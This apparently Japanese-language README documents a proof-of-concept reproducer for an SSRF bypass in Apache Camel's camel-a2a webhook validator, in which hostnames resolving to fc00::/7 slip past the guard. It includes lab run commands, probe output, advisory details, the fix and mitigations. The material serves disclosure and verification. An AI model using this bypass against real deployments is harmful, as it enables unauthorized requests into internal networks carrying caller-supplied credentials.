Apache Camel の脆弱性に対する実行可能な概念実証(PoC)再現ツールです。この脆弱性では、WebhookUrlValidator がプッシュ通知 webhook のホストを互いに一致しない 2 つの箇所で分類していました:
fc00::/7 を表す文字列プレフィックスのリスト("fc"、"fd")と照合されていました;isLoopbackAddress、isAnyLocalAddress、isLinkLocalAddress、isSiteLocalAddress で分類されていました。これらの述語は同じ範囲をカバーしていません: isSiteLocalAddress が報告するのは非推奨の fec0::/10 ブロックであり、それを置き換えた fc00::/7 ユニークローカルアドレスではありません。また、JDK にはそれらのための述語が一切存在しません。そのため、同じアドレスであっても記述方法によって受理されたり拒否されたりしていました。
| ランタイム | ディレクトリ | スタック |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-a2a 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
ホスト名は fc00::/7 に解決される必要があり、compose ファイルでは extra_hosts エントリでこれを設定しています(Docker が起動時にコンテナの /etc/hosts に書き込みます)— そのため、素の java -jar ではなく Docker 経由で実行してください:
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until curl -sf http://localhost:8080/exploit/ready >/dev/null; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
影響を受けるビルドでの出力(両方のランタイムで同一):
Resolution in this environment: internal-service.example -> fd00:0:0:0:0:0:0:1
1) The unique local address as an IP LITERAL
url: https://[fd00::1]/push-notification
verdict: REFUSED - Webhook URL must not point to private/internal IPv6 ranges (SSRF protection): [fd00::1]
2) The SAME address reached through a host name
url: https://internal-service.example/push-notification
verdict: ACCEPTED, resolved to fd00:0:0:0:0:0:0:1
3) A legitimate host name that merely BEGINS with "fc" (the bug's other direction)
url: https://fcm.googleapis.com/push-notification
verdict: REFUSED - Webhook URL must not point to private/internal IPv6 ranges (SSRF protection): fcm.googleapis.com
4) CONTROL - an IPv4 private address, which isSiteLocalAddress does cover
verdict: REFUSED - ... site-local/private address ...
5) CONTROL - a link-local IPv6 literal
verdict: REFUSED - ... private/internal IPv6 ranges ...
>>> PROVEN: ...
プローブ1と2は同じアドレスであり、判定結果が矛盾している。プローブ3は逆方向の同じ不整合である。文字列の事前チェックが、まずIPリテラルであることを確認せずに生のホストに対してマッチしていたため、fc または fd で始まるだけの名前が一律に拒否されていた — ごく普通のプッシュエンドポイントである fcm.googleapis.com もその一つである。プローブ4と5は、ガードが正しく書かれている箇所で機能していることを示す対照例である。
すべてのプローブは allowLocal=false を渡しており、これはデフォルト(allowLocalWebhookUrls=false)であり、ガードが機能することが期待される設定である。
Webhook URL は、プッシュ通知を登録する呼び出し元から TaskPushNotificationConfig.url として渡されるため、攻撃者が制御可能である。その後 PushNotificationDispatcher は、同じ設定に含まれる Authorization ヘッダー(そのスキームと認証情報は登録する呼び出し元が指定する)とともに、そのアドレスへプッシュ通知を送信する。
レスポンスはその呼び出し元に中継されないため、ここで生じるのは、Camel プロセスから、ガードが拒否するよう書かれていた内部アドレスへのブラインドな外向き HTTPS リクエストである。その方法でサービスに到達するには、さらにその名前が対象環境で fc00::/7 に解決されること、そのアドレスで HTTPS サービスが待ち受けていること、要求される名前に対して TLS ハンドシェイクが成功することが必要である — これが深刻度が中程度と評価されている理由である。
| 項目 | 値 |
|---|---|
| コンポーネント | camel-a2a (WebhookUrlValidator) |
| CWE | CWE-918 (サーバーサイドリクエストフォージェリ) |
| 深刻度 | 中 |
| 攻撃ベクトル | ホスト名が fc00::/7 に解決されるプッシュ通知の Webhook URL |
| 影響 | 設定された Authorization ヘッダーを伴い、ガードが拒否すべきだった内部アドレスへのブラインドな外向き HTTPS リクエスト |
| 影響を受けるバージョン | 4.21.0 から 4.22.2 より前 |
| 修正済みバージョン | 4.22.2、4.23.0 |
| JIRA | CAMEL-24371 |
| クレジット | 2122295973 at qq dot com、ASF Security Team 経由で報告 |
アドバイザリ: https://camel.apache.org/security/CVE-2026-71569.html
両方のパスが InetAddress.getByName を経由するようになり、これはブラケット付き IPv6 リテラルをDNS に触れることなく解析し、得られたアドレスを生のバイト列から単一の共有分類器で分類する — つまりホストは、どのように表記されたかではなく、それが示すアドレスによって判定される。この分類器は fc00::/7 と共有アドレス空間 100.64.0.0/10、さらに埋め込まれた IPv4 アドレスがグローバルにルーティング可能でない IPv4 互換、NAT64 (64:ff9b::/96)、6to4 (2002::/16) アドレスを認識する。
main 上で apache/camel#25406 (54041cce) にて修正され、camel-4.22.x に #26583 (c4a5c5fc) でバックポートされた。
camel.version を 4.22.2 に設定して再度実行する。4.22.1 → 4.22.2 に対して検証済み:
1) The unique local address as an IP LITERAL
verdict: REFUSED - Webhook URL must not point to a unique local address (SSRF protection): [fd00::1]
2) The SAME address reached through a host name
verdict: REFUSED - Webhook URL must not point to a unique local address (SSRF protection): internal-service.example
3) A legitimate host name that merely BEGINS with "fc"
verdict: ACCEPTED, resolved to 216.239.38.55
どちらの表記も同じ判定と同じメッセージを返すようになり、プローブ3の誤検知も解消されました。
A2A プッシュ通知の設定パスの手前に認証を配置し、信頼できない呼び出し元から webhook URL が届かないようにし、ネットワークレベルで Camel プロセスから fc00::/7 への外向き通信を拒否します。デプロイ環境で IPv6 が不要な場合は、JVM を -Djava.net.preferIPv4Stack=true で起動することで、このギャップの原因となるアドレスクラスを排除できます。allowLocalWebhookUrls=false はすでにデフォルトであり、それ自体ではこのギャップを塞がないことに注意してください。上記のプローブ2はこれを有効にした状態で実行されています。
このリポジトリは教育および防御目的で公開されています。Apache Camel ユーザーが脆弱性を理解し、影響を受けているかどうかを確認し、アップグレードによって解決されることを検証できるようにするためのものです。所有または運用していないシステムに対してこの資料を使用しないでください。